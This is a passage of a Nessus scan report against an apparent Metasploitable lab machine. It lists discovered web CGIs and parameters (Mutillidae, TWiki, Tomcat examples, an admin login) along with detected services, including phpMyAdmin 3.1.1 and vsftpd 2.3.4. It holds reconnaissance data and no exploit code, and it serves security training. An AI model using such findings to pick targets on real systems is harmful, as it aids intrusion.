  Argument : table
  Argument : token
   Value: ebf4c2feed2044bd86bc3d4f45fe4616
```

```
+ CGI : /mutillidae/index.php
  Methods : GET
  Argument : do
   Value: toggle-security
  Argument : page
   Value: notes.php
  Argument : username
   Value: anonymous


+ CGI : /mutillidae/
  Methods : GET
  Argument : page
   Value: source-viewer.php


+ CGI : /rdiff/TWiki/TWikiHistory
  Methods : GET
  Argument : rev1
   Value: 1.8
  Argument : rev2
   Value: 1.7


+ CGI : /view/TWiki/TWikiHistory
  Methods : GET
  Argument : rev
   Value: 1.7


+ CGI : /oops/TWiki/TWikiHistory
  Methods : GET
  Argument : param1
   Value: 1.10
  Argument : template
   Value: oopsrev


+ CGI : /twiki/bin/view/Main/WebHome
  Methods : GET
  Argument : topic


+ CGI : /twiki/bin/search/Main/SearchResult
  Methods : GET
  Argument : search


+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/edit/Main/WebHome
  Methods : GET
  Argument : t
   Value: 1738684108


+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/search/Main/SearchResult
  Methods : GET
  Argument : regex
   Value: on
  Argument : scope
   Value: text
  Argument : search
   Value: Web%20*Home%5B%5EA-Za-z%5D


+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/view/Main/WebHome
  Methods : GET
  Argument : rev
   Value: 1.18
  Argument : skin
```

```
    Value: print


+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/rdiff/Main/WebHome
  Methods : GET
  Argument : rev1
   Value: 1.19
  Argument : rev2
   Value: 1.18


+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/oops/Main/WebHome
  Methods : GET
  Argument : param1
   Value: 1.20
  Argume [...]
```

10662 - Web mirroring

Synopsis

Nessus can crawl the remote website.

Description

This plugin makes a mirror of the remote website(s) and extracts the list of CGIs that are used by the remote host.

It is suggested that you change the number of pages to mirror in the 'Options' section of the client.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2001/05/04, Modified: 2025/01/13

Plugin Output

tcp/8180/www

```
Webmirror performed 551 queries in 56s (9.0839 queries per second)

The following CGIs have been discovered :


+ CGI : /jsp-examples/jsp2/el/implicit-objects.jsp
  Methods : GET
  Argument : foo
   Value: bar


+ CGI : /jsp-examples/jsp2/el/functions.jsp
  Methods : GET
  Argument : foo
   Value: JSP+2.0


+ CGI : /admin/j_security_check
  Methods : POST
  Argument : j_password
  Argument : j_username


+ CGI : /jsp-examples/num/numguess.jsp
  Methods : GET
  Argument : guess
```

```
+ CGI : /jsp-examples/error/err.jsp
  Methods : GET
  Argument : name
   Value: audi
  Argument : submit
   Value: Submit


+ CGI : /jsp-examples/sessions/carts.jsp
  Methods : GET
  Argument : item
  Argument : submit
   Value: remove


+ CGI : /jsp-examples/checkbox/checkresult.jsp
  Methods : GET
  Argument : fruit
   Value: melons
  Argument : submit
   Value: Submit


+ CGI : /jsp-examples/colors/colrs.jsp
  Methods : GET,POST
  Argument : action
   Value: Hint
  Argument : color1
  Argument : color2


+ CGI : /jsp-examples/cal/cal1.jsp
  Methods : GET
  Argument : action
   Value: Submit
  Argument : email
  Argument : name


+ CGI : /servlets-examples/servlet/RequestParamExample
  Methods : POST
  Argument : firstname
  Argument : lastname


+ CGI : /servlets-examples/servlet/CookieExample
  Methods : POST
  Argument : cookiename
  Argument : cookievalue


+ CGI : /servlets-examples/servlet/SessionExample;jsessionid=6888D4C9D75B6BFB24C45DC2E2A6619C
  Methods : GET,POST
  Argument : dataname
   Value: foo
  Argument : datavalue
   Value: bar
```

11424 - WebDAV Detection

Synopsis

The remote server is running with WebDAV enabled.

Description

WebDAV is an industry standard extension to the HTTP specification.
It adds a capability for authorized users to remotely add and manage the content of a web server.

If you do not use this extension, you should disable it.

Solution

http://support.microsoft.com/default.aspx?kbid=241520

Risk Factor

None

Plugin Information

Published: 2003/03/20, Modified: 2011/03/14

Plugin Output

tcp/80/www

24004 - WebDAV Directory Enumeration

Synopsis

Several directories on the remote host are DAV-enabled.

Description

WebDAV is an industry standard extension to the HTTP specification.
It adds a capability for authorized users to remotely add and manage the content of a web server.

If you do not use this extension, you should disable it.

Solution

Disable DAV support if you do not use it.

Risk Factor

None

Plugin Information

Published: 2007/01/11, Modified: 2011/03/14

Plugin Output

tcp/80/www

```
The following directories are DAV enabled :
 - /dav/CJUlxuON.htm/
 - /dav/
```

10150 - Windows NetBIOS / SMB Remote Host Information Disclosure

Synopsis

It was possible to obtain the network name of the remote host.

Description

The remote host is listening on UDP port 137 or TCP port 445, and replies to NetBIOS nbtscan or SMB requests.

Note that this plugin gathers information to be used in other plugins, but does not itself generate a report.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 1999/10/12, Modified: 2021/02/10

Plugin Output

udp/137/netbios-ns

```
The following 7 NetBIOS names have been gathered :

 METASPLOITABLE   = Computer name
 METASPLOITABLE   = Messenger Service
 METASPLOITABLE   = File Server Service
 __MSBROWSE__     = Master Browser
 WORKGROUP        = Workgroup / Domain name
 WORKGROUP        = Master Browser
 WORKGROUP        = Browser Service Elections

This SMB server seems to be a Samba server - its MAC address is NULL.
```

17219 - phpMyAdmin Detection

Synopsis

The remote web server hosts a database management application written in PHP.

Description

The remote host is running phpMyAdmin, a web-based MySQL administration tool written in PHP.

See Also

https://www.phpmyadmin.net/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2005/02/25, Modified: 2022/06/01

Plugin Output

tcp/80/www

```
The following instance of phpMyAdmin was detected on the remote host :

  Version : 3.1.1
  URL     : http://Epic-Metasploitable.epicode/phpMyAdmin/
```

11421 - smtpscan SMTP Fingerprinting

Synopsis

It is possible to fingerprint the remote mail server.

Description

smtpscan is a SMTP fingerprinting tool written by Julien Bordet. It identifies the remote mail server even if the banners were changed.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2003/03/20, Modified: 2019/11/22

Plugin Output

tcp/25/smtp

```
This server could be fingerprinted as :

Postfix 2.0.3
Postfix 2.6.5-3 (Ubuntu Karmic)
```

52703 - vsftpd Detection

Synopsis

An FTP server is listening on the remote port.

Description

The remote host is running vsftpd, an FTP server for UNIX-like systems written in C.

See Also

http://vsftpd.beasts.org/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/03/17, Modified: 2019/11/22

Plugin Output

tcp/21/ftp

```
Source  : 220 (vsFTPd 2.3.4)
Version : 2.3.4
```